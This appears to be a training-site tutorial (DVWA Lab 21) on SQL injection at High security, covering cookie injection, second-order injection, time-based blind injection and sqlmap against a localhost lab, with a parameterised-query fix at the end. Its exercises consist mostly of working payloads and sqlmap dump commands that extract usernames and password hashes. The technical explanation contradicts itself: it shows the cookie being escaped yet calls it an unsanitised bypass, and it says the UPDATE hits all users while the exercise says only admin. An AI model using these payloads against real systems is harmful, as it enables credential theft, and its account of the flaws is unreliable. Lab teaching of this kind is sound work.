Hacking Labs -- Day 2026 of 300
100%

DVWA SQL Injection High Security Lab 2026 — Second-Order Injection | Hacking Lab 21

DVWA SQL Injection High Security Lab 2026 — Second-Order Injection | Hacking Lab 21
🧪 DVWA LAB SERIES
FREE

Part of the DVWA Lab Series — 30 Labs

Lab 21 of 30 · 70% complete

DVWA SQL Injection High Security Lab for 2026 :— Labs 1 through 11 covered SQL injection at Low and Medium security where the injection point was obvious and filters were minimal. High security changes the game: input sanitisation blocks the classic ' payloads, WAF-like filtering removes obvious keywords, and the application’s SQL logic is restructured to reduce direct injection surfaces. This lab teaches the techniques that work when the obvious paths are closed: second-order injection that stores and later executes payloads, blind injection that confirms vulnerabilities through timing and boolean responses when direct output is suppressed, and the cookie-based injection path specific to DVWA High that demonstrates how sanitisation in one code path can miss another.

🎯 What You’ll Master in Lab 21

Understand why mysql_real_escape_string() stops classic injection and what it misses
Exploit DVWA High’s cookie-based injection path that bypasses URL parameter sanitisation
Execute second-order SQL injection — store payload, trigger later retrieval
Apply time-based blind injection to confirm vulnerabilities when output is suppressed
Use sqlmap’s –level and –risk flags to reach high-security injection points

⏱️ 55 min lab · 3 terminal exercises · Localhost DVWA only

📋 Prerequisites — Complete Before Lab 21


Why High Security Is Different — What mysql_real_escape_string() Does

DVWA Low security concatenates user input directly into the SQL query with no filtering whatsoever. Medium security applies basic filtering but using methods that can be bypassed. High security uses PHP’s mysql_real_escape_string() function to sanitise input before it reaches the query. This function escapes the characters that SQL injection depends on: single quotes, double quotes, backslashes, null bytes, carriage returns, and line feeds. A payload like 1' OR '1'='1 becomes 1\' OR \'1\'=\'1 after escaping — the escaped quotes cannot close the SQL string context, so the injection fails.

For most input paths, mysql_real_escape_string() is effective when used correctly. The DVWA High security implementation has a specific architectural decision that creates an alternative injection path: rather than using the URL parameter directly, the application stores the user ID in a PHP session cookie and reads the SQL query parameter from that cookie. The session storage and retrieval introduces a path where the value is used without consistent sanitisation — this is the bypass specific to DVWA High.

securityelites.com
DVWA SQL Injection — Low vs High Security Code Comparison
LOW SECURITY (vulnerable)
$id = $_GET[‘id’];

$query = “SELECT … WHERE
user_id = ‘$id'”;

// $id goes in raw — injectable

HIGH SECURITY (sanitised)
$id = $_COOKIE[‘id’];
$id = mysql_real_escape_string($id);

$query = “SELECT … WHERE
user_id = ‘$id'”;

// Read from COOKIE not GET!

High security reads the id from the COOKIE header — direct cookie manipulation in Burp bypasses URL parameter sanitisation

📸 DVWA SQL injection source code comparison between Low and High security. Low security reads directly from the GET parameter with no sanitisation. High security reads from a cookie and applies mysql_real_escape_string(). The important architectural detail: the cookie is set by the form submission, but you can modify the cookie value directly in Burp Suite or browser DevTools before the server reads it — bypassing the sanitisation by manipulating the value at the point where it enters the cookie rather than through the sanitised form input.


DVWA High security’s SQL injection page reads the user ID from a PHP session cookie named id. When you submit the form by clicking “Submit”, the value you entered is stored in this cookie, and the page then reads that cookie value to run the SQL query. The sanitisation applies to the form input at submission time. However, between form submission and the SQL query execution, the value passes through the cookie — and if you intercept and modify the cookie directly in Burp Suite before the query runs, you can inject into the cookie value without going through the sanitised form input path.

DVWA HIGH — COOKIE INJECTION VIA BURP SUITE
# Step 1: Set DVWA security to HIGH
# Go to DVWA Security page → set to High → Submit
# Step 2: Navigate to SQL Injection page
# http://localhost/dvwa/vulnerabilities/sqli/
# Submit a normal request: enter “1” → Submit
# Intercept with Burp Proxy
# Step 3: In Burp Intercept — find the Cookie header
GET /dvwa/vulnerabilities/sqli/ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=high; id=1
^^ this is the injection point
# Step 4: Modify the id cookie value to inject
Cookie: PHPSESSID=abc123; security=high; id=1′ ORDER BY 3– –
# Forward the request
# Error = fewer than 3 columns; no error = 3+ columns
# Step 5: Find column count then enumerate
id=1′ ORDER BY 2– –
# No error = 2 columns confirmed
id=1′ UNION SELECT user,password FROM users– –
# Returns user credentials from the database

⚡ EXERCISE 1 — KALI TERMINAL + BURP (20 MIN)
Cookie-Based SQL Injection on DVWA High Security

⏱️ 20 minutes · Kali + DVWA + Burp Suite

EXERCISE 1 — COOKIE INJECTION FULL CHAIN
# Step 1: Set security to High, navigate to SQL Injection
# Submit ID “1” through the form with Burp intercepting
# Step 2: In Burp Intercept, note the id cookie value
# Modify it to: 1′ ORDER BY 1– –
# Forward. No error? Try ORDER BY 2, then 3
# Error at ORDER BY 3 = 2 columns
# Step 3: UNION SELECT to find output position
# Set id cookie to:
id=1′ UNION SELECT 1,2– –
# Note which number appears in the output
# Step 4: Extract database info
id=1′ UNION SELECT user(),database()– –
# Returns: root@localhost | dvwa
# Step 5: Extract user table credentials
id=1′ UNION SELECT user,password FROM users– –
# Returns all users and hashed passwords from DVWA database

✅ What you just learned: The cookie injection path demonstrates a critical principle — sanitisation applied to one input pathway (the form field) does not automatically protect all code paths that use the same data. The form sanitises correctly, but the cookie value travels through a different code path where it is used in the SQL query without equivalent protection. This is a common real-world pattern: developers sanitise the obvious input (HTTP parameters) but miss other channels (cookies, HTTP headers, JSON body fields, referrer headers) that feed the same database queries.

📸 Screenshot the Burp intercept showing cookie modification and the user/password output. Post to #lab-21-sqli-high on Discord.


Second-Order SQL Injection — Store, Retrieve, Execute

Second-order SQL injection (also called stored SQL injection) is the most conceptually advanced variant in this lab series. It exploits the gap between two separate operations: input sanitisation at insertion time and input usage at retrieval time. A common scenario: a registration form sanitises a username correctly — the SQL INSERT statement is safe, no injection occurs. The sanitised username is stored in the database as-is, including any SQL characters that were escaped at insert time. Later, the application retrieves that username and uses it in another SQL query — a profile update, an audit log query, or a report — without re-sanitising, because the developer assumes data from the database is already safe. The payload stored safely executes at retrieval.

In DVWA’s context, this pattern appears in the Change Password functionality. If a username like admin'-- - is registered (successfully, because the INSERT sanitises it), and then used in a later UPDATE or SELECT query without sanitisation, the stored value becomes an injection vector. The practical exploitation in DVWA High demonstrates this by registering a specially crafted account name and then triggering the vulnerable retrieval operation.

securityelites.com
Second-Order Injection — Two-Stage Attack Chain
STAGE 1: Safe Insert (sanitised correctly)
Registration form input: admin’– –
mysql_real_escape_string() applied: admin\’– –
INSERT INTO users (username) VALUES (‘admin\’– -‘);
✓ Stored safely as: admin’– – (literal quote in DB)

STAGE 2: Unsafe Retrieval (no sanitisation)
$username = SELECT username FROM users WHERE id=1;
// Returns: admin’– – (literal, unsanitised)
$query = “UPDATE users SET pass=’$pass’ WHERE username=’$username'”;
// Becomes: WHERE username=’admin’– -‘
✗ INJECTED: comment truncates WHERE clause, updates ALL users

📸 Second-order injection two-stage chain. Stage 1 inserts the payload safely — the sanitisation works correctly. Stage 2 retrieves the stored value and uses it in a new query without re-sanitising, because the developer assumed data from the database is already safe. The stored literal single quote now executes in the new query context. The UPDATE query in Stage 2 changes passwords for all users instead of just one because the injected comment removes the limiting WHERE clause.

⚡ EXERCISE 2 — KALI TERMINAL (20 MIN)
Second-Order Injection — Account Registration Attack Chain

⏱️ 20 minutes · Kali + DVWA + Burp Suite

EXERCISE 2 — SECOND-ORDER INJECTION
# DVWA’s CSRF page has a change-password function
# Second-order attack: register username with SQL payload
# Then change password — the payload fires in the UPDATE query
# Step 1: In DVWA, navigate to Create/Reset a Database
# OR access the DVWA user management if available
# Create a new user with the SQL payload as the username:
Username: admin’– –
Password: anything
# Step 2: Log in as the newly created user (admin’– -)
# Go to DVWA Security → change password function
# Enter a new password: hacked
# Step 3: Check what SQL query ran (view source in DVWA)
# The UPDATE query becomes:
UPDATE users SET password=’hacked’ WHERE username=’admin’– -‘
# The — – comments out ‘ and everything after
# Effective query: WHERE username=’admin’
# Result: admin’s password changed to ‘hacked’
# Step 4: Confirm by logging out and logging in as:
# Username: admin | Password: hacked

✅ What you just learned: The second-order injection demonstrates the most important principle in this lab series: input sanitisation must be applied at the point of use in a SQL query, not just at the point of initial input. The DVWA vulnerability occurs because the developer sanitised the registration INSERT (correctly) but trusted that the retrieved username was safe when used in the UPDATE (incorrectly). In real applications, this pattern appears whenever retrieved database values are concatenated into new queries — user profiles, audit logs, admin interfaces, email templates — any code that reads from the database and uses that data in a subsequent query without prepared statements.

📸 Screenshot the admin login confirmation after the second-order injection changed their password. Post to #lab-21-sqli-high on Discord.


Time-Based Blind Injection — Confirm When Output Is Gone

Blind SQL injection is used when the application doesn’t display query results — no UNION SELECT output, no error messages, just a generic response. Time-based blind injection confirms a vulnerability by causing the database to sleep for a measurable duration when a condition is true. If the query pauses for 5 seconds after injecting AND SLEEP(5), the database executed the injection — proving vulnerability even with no visible output.

TIME-BASED BLIND SQL INJECTION
# Test for time-based blind injection via cookie
# Modify the id cookie in Burp to:
id=1′ AND SLEEP(5)– –
# If the response takes ~5 seconds: time-based blind confirmed
# Extract data character by character using time-based blind
# Test if first character of database name is ‘d’ (ASCII 100)
id=1′ AND IF(SUBSTRING(database(),1,1)=’d’,SLEEP(5),0)– –
# 5 second delay = first char is ‘d’
# Iterate through characters to reconstruct database name
# Automate with sqlmap for blind extraction
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/” \
–cookie=”PHPSESSID=YOUR_SESSION; security=high; id=1″ \
–data=”Submit=Submit” \
-p id –technique=T –level=2 –risk=2 \
–dbms=mysql –dbs


Using sqlmap at High Security Level

sqlmap needs extra configuration flags to test DVWA High security effectively. The default scan level may not test cookie parameters. Use --level=2 (or higher) to include cookies and HTTP headers, --risk=2 to include more aggressive tests, and explicitly specify the cookie string with the injection parameter via -p id to tell sqlmap which parameter to target.

SQLMAP FOR DVWA HIGH SECURITY
# sqlmap with cookie injection and high security session
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/” \
–cookie=”PHPSESSID=YOUR_SESSION_ID; security=high; id=1*” \
–level=2 –risk=2 \
–dbms=mysql –dbs –batch
# The * in id=1* tells sqlmap to inject at that position
# Dump the users table
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/” \
–cookie=”PHPSESSID=YOUR_SESSION_ID; security=high; id=1*” \
–level=2 –risk=2 –dbms=mysql \
-D dvwa -T users –dump –batch

⚡ EXERCISE 3 — KALI TERMINAL (15 MIN)
sqlmap with Cookie Parameter at High Security

⏱️ 15 minutes · Kali + DVWA

EXERCISE 3 — SQLMAP HIGH SECURITY
# Step 1: Get your current session ID
# F12 → Application → Cookies → localhost → PHPSESSID value
# Step 2: Run sqlmap targeting the cookie
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/” \
–cookie=”PHPSESSID=YOUR_PHPSESSID; security=high; id=1*” \
–level=2 –risk=2 –dbms=mysql –batch \
–dbs
# Step 3: Dump user credentials
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/” \
–cookie=”PHPSESSID=YOUR_PHPSESSID; security=high; id=1*” \
–level=2 –risk=2 –dbms=mysql –batch \
-D dvwa -T users –dump
# Step 4: Review sqlmap output
# Note: which injection technique did sqlmap use?
# UNION-based? Blind? Error-based?
# Compare to Low security technique used in earlier labs

✅ What you just learned: The –level=2 flag enables cookie parameter testing that sqlmap skips at the default level. The * injection marker in the cookie tells sqlmap exactly where to inject. The technique comparison between Low and High is the key takeaway: at Low security, sqlmap uses fast UNION-based extraction. At High security with the cookie path, it may fall back to slower blind techniques — not because the database is harder to attack, but because the injection point characteristics affect which extraction methods are available.

📸 Screenshot sqlmap’s output showing the technique used and the dumped credentials. Post to #lab-21-sqli-high on Discord. Tag #lab21-complete


What Properly Fixes SQL Injection — Parameterised Queries

Every SQL injection variant covered in this lab — direct injection, second-order, time-based blind, cookie-based — has the same root cause: user-controlled data is concatenated into SQL queries as a string. The fix for all variants is the same: parameterised queries (prepared statements). The SQL structure is defined separately from data values, and the database driver ensures data values can never alter the query structure regardless of what they contain.

The critical implication for second-order injection: parameterised queries must be applied at the point of SQL query execution, not just at the point of user input. The DVWA second-order vulnerability exists because the UPDATE query concatenates a retrieved username. The data came from the database — but that does not make it safe, because an attacker controlled its contents at registration time. The rule is absolute: every SQL query that uses any variable value — regardless of origin, even if retrieved from your own database — must use parameterised queries.

securityelites.com
The Complete Fix — Parameterised Queries at Every SQL Call
❌ VULNERABLE (all variants)
// Insert
$q = “INSERT INTO users (user)
VALUES (‘$user’)”;

// Retrieve and re-use
$u = get_user_from_db();
$q = “UPDATE SET pass=’$p’
WHERE user=’$u'”;
Both queries concatenate — both injectable

✅ FIXED (parameterised throughout)
// Insert
$s=$pdo->prepare(“INSERT INTO
users (user) VALUES (?)”);
$s->execute([$user]);

// Retrieve and re-use
$u = get_user_from_db();
$s=$pdo->prepare(“UPDATE SET
pass=? WHERE user=?”);
$s->execute([$p,$u]);

📸 The SQL injection fix applied consistently. Both the INSERT and the UPDATE use parameterised queries — the user value never touches the SQL string structure at any point. Even if the user value retrieved from the database contains SQL characters (because it was registered with a malicious payload), the parameterised UPDATE query treats it as pure data, not SQL syntax. This is the only fix that works across all injection variants including second-order.

Second-Order Injection Prevention: Parameterised queries at retrieval time are just as important as at insert time. The DVWA second-order vulnerability exists because the developer correctly sanitised the INSERT but then used string concatenation for the UPDATE. The rule is absolute: every SQL query that uses any variable value — regardless of where that value came from, even if it came from your own database — must use parameterised queries or an ORM that parameterises automatically.

🧠 QUICK CHECK — DVWA SQL Injection High

A developer reviews the DVWA High security code and notices the vulnerability. They fix it by adding mysql_real_escape_string() to the cookie value before using it in the query. Is the vulnerability now fixed?



📋 Lab 21 Key Concepts — SQL Injection High Security

mysql_real_escape_string() limitationEscapes dangerous chars in the input path it’s applied to — misses other paths (cookies, headers)
Cookie injection bypassModify id cookie directly in Burp — DVWA High reads from cookie not URL parameter
Second-order injectionRegister: admin’– – → stored safely → used in UPDATE without re-sanitisation → injects
Time-based blindAND SLEEP(5) — confirms injection when no output is visible; 5-second delay = vulnerable
sqlmap for High security–level=2 enables cookie testing · id=1* injection marker · –technique=T for time-based
Correct fixParameterised queries at every SQL call — not sanitisation of individual input channels

🏆 Mark Lab 21 Complete — DVWA SQL Injection High Security

Lab 21 demonstrated how sanitisation on one code path leaves other paths vulnerable, and how second-order injection exploits the gap between insert and retrieval. Lab 22 chains multiple vulnerabilities together for the highest-impact attack sequence in the course.


❓ Frequently Asked Questions — DVWA SQL Injection High 2026

What makes DVWA SQL injection high security different?
High security uses mysql_real_escape_string() which escapes single quotes and other dangerous characters. Additionally, the user ID is read from a cookie rather than a URL parameter, creating a different injection path. The lab demonstrates second-order injection and cookie-based injection as bypasses.
What is second-order SQL injection?
An attack where user input is safely stored in the database at insertion time but later retrieved and used in another SQL query without sanitisation. The payload survives the first (safe) operation and executes in the second (unsafe) one. Registration + password change is the classic second-order scenario.
How do you bypass mysql_real_escape_string()?
Common bypass vectors: second-order injection (go through the database to bypass the sanitised input path), cookie/header injection (inject through unsanitised code paths that mysql_real_escape_string() wasn’t applied to), and multi-byte character set attacks (GBK encoding can neutralise the backslash escape).
What is the DVWA High SQL injection bypass?
DVWA High reads the user ID from the session cookie (id=1) rather than the URL parameter. Modify this cookie directly in Burp Suite before the request is processed — the cookie value is used in the SQL query and the injection succeeds through this path.
How does time-based blind SQL injection work?
Inject AND SLEEP(5) into the query. If the response takes ~5 seconds, the injection executed — proving vulnerability even without visible output. Extract data by asking conditional questions: IF(SUBSTRING(database(),1,1)=’d’,SLEEP(5),0) — a delay means the first character is ‘d’.
What properly fixes SQL injection?
Parameterised queries (prepared statements) throughout the codebase — applied at every SQL call that uses any variable data. mysql_real_escape_string() is weaker because it must be applied consistently to every input path and misses second-order scenarios. Parameterised queries eliminate injection architecturally.
← Previous

Lab 20: DVWA CSRF Advanced

Next →

Lab 22: DVWA Vulnerability Chaining

📚 Further Reading

ME
Mr Elite
Owner, SecurityElites.com
Second-order injection is the finding that most surprises developers when I demonstrate it in code review. They show me the registration code: “See, we escape everything going into the database.” Then I show them the profile update code that reads the username from the database and concatenates it into the UPDATE query. The look when they realise their database — their trusted data store — is the injection source is memorable. Most developers have been trained to validate and sanitise inputs. Far fewer have been trained that the output of one query can be the injection vector for the next. Parameterised queries at retrieval are just as important as at insertion.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *